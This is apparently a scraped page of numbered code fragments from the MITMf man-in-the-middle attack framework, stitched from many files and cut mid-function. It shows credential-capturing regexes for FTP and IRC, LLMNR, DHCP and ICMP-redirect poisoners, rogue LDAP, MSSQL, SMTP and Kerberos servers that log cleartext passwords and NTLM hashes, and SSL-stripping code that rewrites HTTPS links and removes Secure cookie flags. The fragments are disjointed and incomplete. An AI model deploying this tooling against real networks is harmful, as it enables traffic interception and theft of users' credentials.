formatter = logging.Formatter("%(asctime)s [NetCreds] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("NetCreds", formatter)

DN = open(devnull, 'w')
pkt_frag_loads = OrderedDict()
challenge_acks = OrderedDict()
mail_auths = OrderedDict()
telnet_stream = OrderedDict()

# Regexs
authenticate_re = '(www-|proxy-)?authenticate'
authorization_re = '(www-|proxy-)?authorization'
ftp_user_re = r'USER (.+)\r\n'
ftp_pw_re = r'PASS (.+)\r\n'
irc_user_re = r'NICK (.+?)((\r)?\n|\s)'
irc_pw_re = r'NS IDENTIFY (.+)'
irc_pw_re2 = 'nickserv :identify (.+)'
Beispiel #41
0
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#

import re, os
import logging

from core.configwatcher import ConfigWatcher
from core.logger import logger 

formatter = logging.Formatter("%(asctime)s [URLMonitor] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("URLMonitor", formatter)

class URLMonitor:

    '''
    The URL monitor maintains a set of (client, url) tuples that correspond to requests which the
    server is expecting over SSL.  It also keeps track of secure favicon urls.
    '''

    # Start the arms race, and end up here...
    javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")]
    _instance          = None
    sustitucion        = dict()
    real               = dict()
    patchDict          = {
                          'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net',
Beispiel #42
0
 def test_logger(self):
     from core.logger import logger
     logger.log_level = logging.DEBUG
     formatter = logging.Formatter("%(asctime)s [unittest] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
     log = logger().setup_logger("unittest", formatter)
Beispiel #43
0
import socket
import threading
import struct
import logging
import string

from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
from core.responder.fingerprinter.RAPLANMANPackets import *
from core.logger import logger

formatter = logging.Formatter("%(asctime)s [LANfingerprinter] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("LANfingerprinter", formatter)

class LANfingerprinter():

    def start(self, options):

        global args; args = options

        try:
            log.debug("online")
            server = ThreadingUDPServer(("0.0.0.0", 138), Browser)
            t = threading.Thread(name="LANfingerprinter", target=server.serve_forever)
            t.setDaemon(True)
            t.start()
        except Exception as e:
            log.error("Error starting on port 138: {}:".format(e))
        
class ThreadingUDPServer(ThreadingMixIn, UDPServer):

    allow_reuse_address = 1
Beispiel #44
0
import struct
import logging
import threading

from core.logger import logger
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from MSSQLPackets import *
from core.responder.common import *

formatter = logging.Formatter("%(asctime)s [MSSQLserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("MSSQLserver", formatter)

class MSSQLserver():

    def start(self, chal):
        global Challenge; Challenge = chal

        try:
            log.debug("online")
            server = ThreadingTCPServer(("0.0.0.0", 1433), MSSQL)
            t = threading.Thread(name="MSSQLserver", target=server.serve_forever)
            t.setDaemon(True)
            t.start()
        except Exception as e:
            log.error("Error starting on port {}: {}".format(1433, e))

class ThreadingTCPServer(ThreadingMixIn, TCPServer):

    allow_reuse_address = True

    def server_bind(self):
Beispiel #45
0
import threading

from core.utils import set_ip_forwarding, iptables
from core.logger import logger
from scapy.all import *
from traceback import print_exc
from netfilterqueue import NetfilterQueue

formatter = logging.Formatter("%(asctime)s [PacketFilter] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("PacketFilter", formatter)

class PacketFilter:

    def __init__(self, filter):
        self.filter = filter

    def start(self):
        set_ip_forwarding(1)
        iptables().NFQUEUE()

        self.nfqueue = NetfilterQueue()
        self.nfqueue.bind(1, self.modify)

        t = threading.Thread(name='packetparser', target=self.nfqueue.run)
        t.setDaemon(True)
        t.start()

    def modify(self, pkt):
        #log.debug("Got packet")
        data = pkt.get_payload()
        packet = IP(data)
Beispiel #46
0
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#

import sys
import logging
import inspect
import traceback
from core.logger import logger

formatter = logging.Formatter("%(asctime)s [ProxyPlugins] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("ProxyPlugins", formatter)

class ProxyPlugins:
    '''
    This class does some magic so that all we need to do in
    ServerConnection is do a self.plugins.hook() call
    and we will call any plugin that implements the function
    that it came from with the args passed to the original
    function.

    To do this, we are probably abusing the inspect module,
    and if it turns out to be too slow it can be changed. For
    now, it's nice because it makes for very little code needed
    to tie us in.

    Sadly, propagating changes back to the function is not quite
Beispiel #47
0
sgroup.add_argument("-l", dest='listen_port', type=int, metavar="PORT", default=10000, help="Port to listen on (default 10000)")
sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.")
sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.")
sgroup.add_argument("-F", "--filter", type=str, help='Filter to apply to incoming traffic')

#Initialize plugins and pass them the parser NameSpace object
plugins = [plugin(parser) for plugin in plugin.Plugin.__subclasses__()]

if len(sys.argv) == 1:
    parser.print_help()
    sys.exit(1)

options = parser.parse_args()

#Set the log level
logger().log_level = logging.__dict__[options.log_level.upper()]

from core.logger import logger
formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("MITMf", formatter)

from core.netcreds import NetCreds

if options.read_pcap:
    NetCreds().parse_pcap(options.read_pcap)

#Check to see if we supplied a valid interface, pass the IP and MAC to the NameSpace object
from core.utils import get_ip, get_mac, shutdown
options.ip  = get_ip(options.interface)
options.mac = get_mac(options.interface)
Beispiel #48
0
import re 
import string
import random
import zlib
import gzip
import StringIO
import sys

from user_agents import parse
from twisted.web.http import HTTPClient
from URLMonitor import URLMonitor
from core.proxyplugins import ProxyPlugins
from core.logger import logger

formatter = logging.Formatter("%(asctime)s %(clientip)s [type:%(browser)s-%(browserv)s os:%(clientos)s] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
clientlog = logger().setup_logger("ServerConnection_clientlog", formatter)

formatter = logging.Formatter("%(asctime)s [ServerConnection] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("ServerConnection", formatter)

class ServerConnection(HTTPClient):

    ''' The server connection is where we do the bulk of the stripping.  Everything that
    comes back is examined.  The headers we dont like are removed, and the links are stripped
    from HTTPS to HTTP.
    '''

    urlExpression     = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE)
    urlType           = re.compile(r"https://", re.IGNORECASE)
    urlExplicitPort   = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/',  re.IGNORECASE)
    urlTypewww        = re.compile(r"https://www", re.IGNORECASE)
Beispiel #49
0
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#

import logging

from core.logger import logger
from twisted.internet.protocol import ClientFactory

formatter = logging.Formatter("%(asctime)s [ServerConnectionFactory] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("ServerConnectionFactory", formatter)

class ServerConnectionFactory(ClientFactory):

    def __init__(self, command, uri, postData, headers, client):
        self.command      = command
        self.uri          = uri
        self.postData     = postData
        self.headers      = headers
        self.client       = client

    def buildProtocol(self, addr):
        return self.protocol(self.command, self.uri, self.postData, self.headers, self.client)
    
    def clientConnectionFailed(self, connector, reason):
        log.debug("Server connection failed.")
Beispiel #50
0
import socket
import threading
import struct
import logging

from core.logger import logger
from SocketServer import UDPServer, TCPServer, ThreadingMixIn, BaseRequestHandler

formatter = logging.Formatter("%(asctime)s [KERBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("KERBserver", formatter)

class KERBserver():

	def serve_thread_udp(self, host, port, handler):
		try:
			server = ThreadingUDPServer((host, port), handler)
			server.serve_forever()
		except Exception as e:
			log.debug("Error starting UDP server on port 88: {}:".format(e))

	def serve_thread_tcp(self, host, port, handler):
		try:
			server = ThreadingTCPServer((host, port), handler)
			server.serve_forever()
		except Exception as e:
			log.debug("Error starting TCP server on port 88: {}:".format(e))

	def start(self):
		log.debug("online")
		t1 = threading.Thread(name="KERBserverUDP", target=self.serve_thread_udp, args=("0.0.0.0", 88,KerbUDP))
		t2 = threading.Thread(name="KERBserverTCP", target=self.serve_thread_tcp, args=("0.0.0.0", 88, KerbTCP))
Beispiel #51
0
import logging
import threading

from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from base64 import b64decode
from SMTPPackets import *
from core.responder.common import *
from core.logger import logger

formatter = logging.Formatter("%(asctime)s [SMTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("SMTPserver", formatter)

class SMTPserver():

	def serve_thread_tcp(self, port):
		try:
			server = ThreadingTCPServer(("0.0.0.0", port), ESMTP)
			server.serve_forever()
		except Exception as e:
			log.error("Error starting TCP server on port {}: {}".format(port, e))

	#Function name self-explanatory
	def start(self):
		log.debug("online")
		t1 = threading.Thread(name="ESMTP-25", target=self.serve_thread_tcp, args=(25,))
		t2 = threading.Thread(name="ESMTP-587", target=self.serve_thread_tcp, args=(587,))
		
		for t in [t1, t2]:
			t.setDaemon(True)
			t.start()
Beispiel #52
0
    def populate(self, options):

        # Servers
        self.SSL_On_Off = self.toBool(self.config["Responder"]["HTTPS"])
        self.SQL_On_Off = self.toBool(self.config["Responder"]["SQL"])
        self.FTP_On_Off = self.toBool(self.config["Responder"]["FTP"])
        self.POP_On_Off = self.toBool(self.config["Responder"]["POP"])
        self.IMAP_On_Off = self.toBool(self.config["Responder"]["IMAP"])
        self.SMTP_On_Off = self.toBool(self.config["Responder"]["SMTP"])
        self.LDAP_On_Off = self.toBool(self.config["Responder"]["LDAP"])
        self.Krb_On_Off = self.toBool(self.config["Responder"]["Kerberos"])

        # Db File
        self.DatabaseFile = "./logs/responder/Responder.db"

        # Log Files
        self.LogDir = "./logs/responder"

        if not os.path.exists(self.LogDir):
            os.mkdir(self.LogDir)

        self.SessionLogFile = os.path.join(self.LogDir, "Responder-Session.log")
        self.PoisonersLogFile = os.path.join(self.LogDir, "Poisoners-Session.log")
        self.AnalyzeLogFile = os.path.join(self.LogDir, "Analyzer-Session.log")

        self.FTPLog = os.path.join(self.LogDir, "FTP-Clear-Text-Password-%s.txt")
        self.IMAPLog = os.path.join(self.LogDir, "IMAP-Clear-Text-Password-%s.txt")
        self.POP3Log = os.path.join(self.LogDir, "POP3-Clear-Text-Password-%s.txt")
        self.HTTPBasicLog = os.path.join(self.LogDir, "HTTP-Clear-Text-Password-%s.txt")
        self.LDAPClearLog = os.path.join(self.LogDir, "LDAP-Clear-Text-Password-%s.txt")
        self.SMBClearLog = os.path.join(self.LogDir, "SMB-Clear-Text-Password-%s.txt")
        self.SMTPClearLog = os.path.join(self.LogDir, "SMTP-Clear-Text-Password-%s.txt")
        self.MSSQLClearLog = os.path.join(self.LogDir, "MSSQL-Clear-Text-Password-%s.txt")

        self.LDAPNTLMv1Log = os.path.join(self.LogDir, "LDAP-NTLMv1-Client-%s.txt")
        self.HTTPNTLMv1Log = os.path.join(self.LogDir, "HTTP-NTLMv1-Client-%s.txt")
        self.HTTPNTLMv2Log = os.path.join(self.LogDir, "HTTP-NTLMv2-Client-%s.txt")
        self.KerberosLog = os.path.join(self.LogDir, "MSKerberos-Client-%s.txt")
        self.MSSQLNTLMv1Log = os.path.join(self.LogDir, "MSSQL-NTLMv1-Client-%s.txt")
        self.MSSQLNTLMv2Log = os.path.join(self.LogDir, "MSSQL-NTLMv2-Client-%s.txt")
        self.SMBNTLMv1Log = os.path.join(self.LogDir, "SMB-NTLMv1-Client-%s.txt")
        self.SMBNTLMv2Log = os.path.join(self.LogDir, "SMB-NTLMv2-Client-%s.txt")
        self.SMBNTLMSSPv1Log = os.path.join(self.LogDir, "SMB-NTLMSSPv1-Client-%s.txt")
        self.SMBNTLMSSPv2Log = os.path.join(self.LogDir, "SMB-NTLMSSPv2-Client-%s.txt")

        # HTTP Options
        self.Serve_Exe = self.toBool(self.config["Responder"]["HTTP Server"]["Serve-Exe"])
        self.Serve_Always = self.toBool(self.config["Responder"]["HTTP Server"]["Serve-Always"])
        self.Serve_Html = self.toBool(self.config["Responder"]["HTTP Server"]["Serve-Html"])
        self.Html_Filename = self.config["Responder"]["HTTP Server"]["HtmlFilename"]
        self.HtmlToInject = self.config["Responder"]["HTTP Server"]["HTMLToInject"]
        self.Exe_Filename = self.config["Responder"]["HTTP Server"]["ExeFilename"]
        self.Exe_DlName = self.config["Responder"]["HTTP Server"]["ExeDownloadName"]
        self.WPAD_Script = self.config["Responder"]["HTTP Server"]["WPADScript"]

        if not os.path.exists(self.Html_Filename):
            print "Warning: %s: file not found" % self.Html_Filename

        if not os.path.exists(self.Exe_Filename):
            print "Warning: %s: file not found" % self.Exe_Filename

        # SSL Options
        self.SSLKey = self.config["Responder"]["HTTPS Server"]["SSLKey"]
        self.SSLCert = self.config["Responder"]["HTTPS Server"]["SSLCert"]

        # Respond to hosts
        self.RespondTo = filter(
            None, [x.upper().strip() for x in self.config["Responder"]["RespondTo"].strip().split(",")]
        )
        self.RespondToName = filter(
            None, [x.upper().strip() for x in self.config["Responder"]["RespondToName"].strip().split(",")]
        )
        self.DontRespondTo = filter(
            None, [x.upper().strip() for x in self.config["Responder"]["DontRespondTo"].strip().split(",")]
        )
        self.DontRespondToName = filter(
            None, [x.upper().strip() for x in self.config["Responder"]["DontRespondToName"].strip().split(",")]
        )

        # CLI options
        self.Interface = options.interface
        self.Force_WPAD_Auth = options.forcewpadauth
        self.LM_On_Off = options.lm
        self.WPAD_On_Off = options.wpad
        self.Wredirect = options.wredir
        self.NBTNSDomain = options.nbtns
        self.Basic = options.basic
        self.Finger_On_Off = options.finger
        self.AnalyzeMode = options.analyze
        # self.Upstream_Proxy  = options.Upstream_Proxy

        self.Verbose = False
        if options.log_level == "debug":
            self.Verbose = True

        self.Bind_To = utils.FindLocalIP(self.Interface)

        self.IP_aton = socket.inet_aton(self.Bind_To)
        self.Os_version = sys.platform

        # Set up Challenge
        self.NumChal = self.config["Responder"]["Challenge"]

        if len(self.NumChal) is not 16:
            print "The challenge must be exactly 16 chars long.\nExample: 1122334455667788"
            sys.exit(-1)

        self.Challenge = ""
        for i in range(0, len(self.NumChal), 2):
            self.Challenge += self.NumChal[i : i + 2].decode("hex")

        # Set up logging
        formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
        self.ResponderLogger = logger().setup_logger("Responder", formatter, self.SessionLogFile)
        # logging.warning('Responder Started: {}'.format(self.CommandLine))
        # logging.warning('Responder Config: {}'.format(self))

        self.PoisonersLogger = logger().setup_logger("Poison log", formatter, self.PoisonersLogFile)
        self.AnalyzeLogger = logger().setup_logger("Analyze Log", formatter, self.AnalyzeLogFile)
Beispiel #53
0
Datei: DNS.py Projekt: 4eu3/MITMf
import binascii
import string
import base64
import time
import logging

from configobj import ConfigObj
from core.configwatcher import ConfigWatcher
from core.utils import shutdown
from core.logger import logger

from dnslib import *
from IPy import IP

formatter = logging.Formatter("%(asctime)s %(clientip)s [DNS] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("DNSChef", formatter)

dnslog = logging.getLogger('dnslog')
handler = logging.FileHandler('./logs/dns/dns.log',)
handler.setFormatter(formatter)
dnslog.addHandler(handler)
dnslog.setLevel(logging.INFO)

# DNSHandler Mixin. The class contains generic functions to parse DNS requests and
# calculate an appropriate response based on user parameters.
class DNSHandler():

    def parse(self,data):

        nametodns      = DNSChef().nametodns
        nameservers    = DNSChef().nameservers
Beispiel #54
0
import socket
import threading
import struct
import logging

from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
from core.logger import logger
from core.configwatcher import ConfigWatcher
from core.responder.fingerprinter.Fingerprint import RunSmbFinger
from core.responder.packet import Packet
from core.responder.odict import OrderedDict
from core.responder.common import *

formatter = logging.Formatter("%(asctime)s [LLMNRpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("LLMNRpoisoner", formatter)

class LLMNRpoisoner:

	def start(self, options, ourip):

		global args; args = options #For now a quick way to make argparse's namespace object available to all
		global OURIP ; OURIP = ourip  #and our ip address

		try:
			log.debug("OURIP => {}".format(OURIP))
			server = ThreadingUDPLLMNRServer(("0.0.0.0", 5355), LLMNR)
			t = threading.Thread(name="LLMNRpoisoner", target=server.serve_forever) #LLMNR
			t.setDaemon(True)
			t.start()
		except Exception as e:
			log.error("Error starting on port 5355: {}:".format(e))
Beispiel #55
0
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#

import logging
import threading

from time import sleep
from core.logger import logger
from scapy.all import IP, ICMP, UDP, sendp

formatter = logging.Formatter("%(asctime)s [ICMPpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("ICMPpoisoner", formatter)

class ICMPpoisoner():

    def __init__(self, options):

        self.target        = options.target
        self.gateway       = options.gateway
        self.interface     = options.interface
        self.ip_address    = options.ip
        self.debug         = False
        self.send          = True
        self.icmp_interval = 2

    def build_icmp(self):
        pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=self.ip_address) /\
Beispiel #56
0
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#

import logging
import re
import string

from ServerConnection import ServerConnection
from URLMonitor import URLMonitor
from core.logger import logger

formatter = logging.Formatter("%(asctime)s [SSLServerConnection] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("SSLServerConnection", formatter)

class SSLServerConnection(ServerConnection):

    ''' 
    For SSL connections to a server, we need to do some additional stripping.  First we need
    to make note of any relative links, as the server will be expecting those to be requested
    via SSL as well.  We also want to slip our favicon in here and kill the secure bit on cookies.
    '''

    cookieExpression   = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE)
    cssExpression      = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE)
    iconExpression     = re.compile(r"<link rel=\"shortcut icon\" .*href=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE)
    linkExpression     = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE)
    headExpression     = re.compile(r"<head>", re.IGNORECASE)
Beispiel #57
0
import struct
import logging
import threading
import re

from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from LDAPPackets import *
from core.responder.common import *
from core.logger import logger

formatter = logging.Formatter("%(asctime)s [LDAPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("LDAPserver", formatter)

class LDAPserver():

	def start(self, chal):
		global Challenge; Challenge = chal

		try:
			log.debug("online")
			server = ThreadingTCPServer(("0.0.0.0", 389), LDAP)
			t = threading.Thread(name="LDAPserver", target=server.serve_forever)
			t.setDaemon(True)
			t.start()
		except Exception as e:
			log.error("Error starting on port {}: {}".format(389, e))

class ThreadingTCPServer(ThreadingMixIn, TCPServer):

	allow_reuse_address = 1
Beispiel #58
0
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#

import logging
from core.logger import logger

formatter = logging.Formatter("%(asctime)s [DnsCache] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("DnsCache", formatter)

class DnsCache:    

	'''
	The DnsCache maintains a cache of DNS lookups, mirroring the browser experience.
	'''

	_instance          = None

	def __init__(self):
		self.customAddress = None
		self.cache = {}

	@staticmethod
	def getInstance():
Beispiel #59
0
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#

import logging
import threading
import binascii
import random

from netaddr import IPAddress, IPNetwork
from core.logger import logger
from scapy.all import *

formatter = logging.Formatter("%(asctime)s [DHCPpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("DHCPpoisoner", formatter)

class DHCPpoisoner():

    def __init__(self, options):
        self.interface   = options.interface
        self.ip_address  = options.ip
        self.mac_address = options.mac
        self.shellshock  = options.shellshock
        self.netmask     = options.netmask
        self.debug       = False
        self.dhcp_dic    = {}

        log.debug("interface  => {}".format(self.interface))
        log.debug("ip         => {}".format(self.ip_address))
        log.debug("mac        => {}".format(self.mac_address))
Beispiel #60
0
from twisted.internet import ssl
from twisted.internet import defer
from twisted.internet import reactor
from twisted.internet.protocol import ClientFactory

from ServerConnectionFactory import ServerConnectionFactory
from ServerConnection import ServerConnection
from SSLServerConnection import SSLServerConnection
from URLMonitor import URLMonitor
from CookieCleaner import CookieCleaner
from DnsCache import DnsCache
from core.logger import logger

formatter = logging.Formatter("%(asctime)s [ClientRequest] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("ClientRequest", formatter)

class ClientRequest(Request):

    ''' This class represents incoming client requests and is essentially where
    the magic begins.  Here we remove the client headers we dont like, and then
    respond with either favicon spoofing, session denial, or proxy through HTTP
    or SSL to the server.
    '''

    def __init__(self, channel, queued, reactor=reactor):
        Request.__init__(self, channel, queued)
        self.reactor       = reactor
        self.urlMonitor    = URLMonitor.getInstance()
        self.hsts          = URLMonitor.getInstance().hsts
        self.cookieCleaner = CookieCleaner.getInstance()